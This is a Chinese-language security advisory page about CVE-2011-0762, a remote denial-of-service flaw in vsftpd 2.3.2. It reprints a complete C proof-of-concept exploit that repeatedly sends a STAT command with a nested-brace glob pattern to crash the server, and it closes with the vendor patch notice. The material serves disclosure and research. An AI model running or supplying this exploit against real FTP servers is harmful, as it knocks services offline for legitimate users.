Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / vsftpd FTP Server “ls.c”远程拒绝服务漏洞

发布日期:2011-03-01
更新日期:2011-03-01受影响系统:
Vsftpd Vsftpd 2.3.2
Vsftpd Vsftpd 2.3
不受影响系统:
Vsftpd Vsftpd 2.3.4
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 46617
CVE ID: CVE-2011-0762vsftpd是Very Secure FTP daemon的缩写,是UNIX类平台上安全的FTP服务器。vsftpd在处理ls.c时存在远程拒绝服务漏洞,远程攻击者可利用此漏洞造成受影响应用程序崩溃,拒绝服务合法用户。<*来源:Maksymilian Arciemowicz (max@jestsuper.pl)
 
  链接:http://marc.info/?l=bugtraq&m=129899539210104&w=2
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!Maksymilian Arciemowicz (max@jestsuper.pl)提供了如下测试方法:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>/*
This is code of
http://cxib.net/stuff/vspoc232.cPoC CVE-2011-0762 ( vsftpd )
Remote Denial of ServiceAffected Version: 2.3.2
Fix: 2.3.4Author:
Maksymilian ArciemowiczUse:
./vspoc232 127.0.0.1 21 user pass 1or read
http://securityreason.com/achievement_securityalert/95
for more information
 
Example result:
cx@cx64:~$ telnet 172.5.0.129 21
Trying 172.5.0.129...
Connected to 172.5.0.129.
Escape character is "^]".
500 OOPS: fork
Connection closed by foreign host.*/int skip=0;int sendftp(int stream,char *what){
        if(-1==send(stream,what,strlen(what),0))
                printf("Can"t send %s ",what);
        else
                printf("send: %s ",what);        bzero(what,sizeof(what));
}void readftp(int stream){
        char readline[4096];
        if(recv(stream,readline,4096,0)<1)
        if(!skip) exit(1); // end
        else
           printf("recv: %s ",readline);
   
}int sendstat(host,port,login,pass)
        char *host,*port,*login,*pass;
{
        char buffer[4097]; // send ftp command buffor
        int     sockfd,n,error;
        struct addrinfo hints;
    struct addrinfo *res, *res0;        memset(&hints, 0, sizeof(hints));
        hints.ai_family = PF_UNSPEC;
        hints.ai_socktype = SOCK_STREAM;
        error = getaddrinfo(host,port,&hints,&res0);        if (error){
                errorcon:
                printf("Can`t connect .exit");
                exit(1);
        }        if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<0) goto errorcon;
        if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;        readftp(sockfd);
        snprintf(buffer,4096,"USER %s PASS %s ",login,pass);
        sendftp(sockfd,buffer);
        readftp(sockfd);        snprintf(buffer,4096,"STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} ");
        sendftp(sockfd,buffer);
        freeaddrinfo(res0);
}int main(int argc,char *argv[])
{
        char *login,*pass,logindef[]="anonymous",passdef[]="cxib.net@127.0.0.1";        if(argc<3){
                printf(" Use: ./vspoc232 host port [username] [password] [option] host and port are requied use option = 1 to skip recv() fails example: ./vspoc232 127.0.0.1 21 user pass 1 ");
                exit(1);
        }        char *host=argv[1];
        char *port=argv[2];        if(4<=argc) login=argv[3];
        else login=logindef;        if(5<=argc) pass=argv[4];
        else pass=passdef;        if(6<=argc) skip=1;        while(1){
                printf("----------------------------- next ");
                sendstat(host,port,login,pass);
                sleep(1); // some delay to be sure
        }
        return 0; // never happen
}建议:
--------------------------------------------------------------------------------
厂商补丁:Vsftpd
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:http://vsftpd.beasts.org/Linux Kernel “ib_uverbs_poll_cq()”整数溢出漏洞Google Chrome 9.0.597.107之前版本多个安全漏洞相关资讯      UNIX  vsftpd 
  • Ubuntu 14.04 配置vsftpd实现FTP服  (08月05日)
  • 在CentOS 6.3上搭建FTP服务器  (07月19日)
  • 通过MySQL实现虚拟用户访问vsftpd  (05月10日)
  • Linux CentOS 6.5 下搭建 vsftpd   (07月19日)
  • CentOS下FTP服务器安装与配置  (06月08日)
  • 在CentOS 7上安装FTP服务器  (04月12日)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论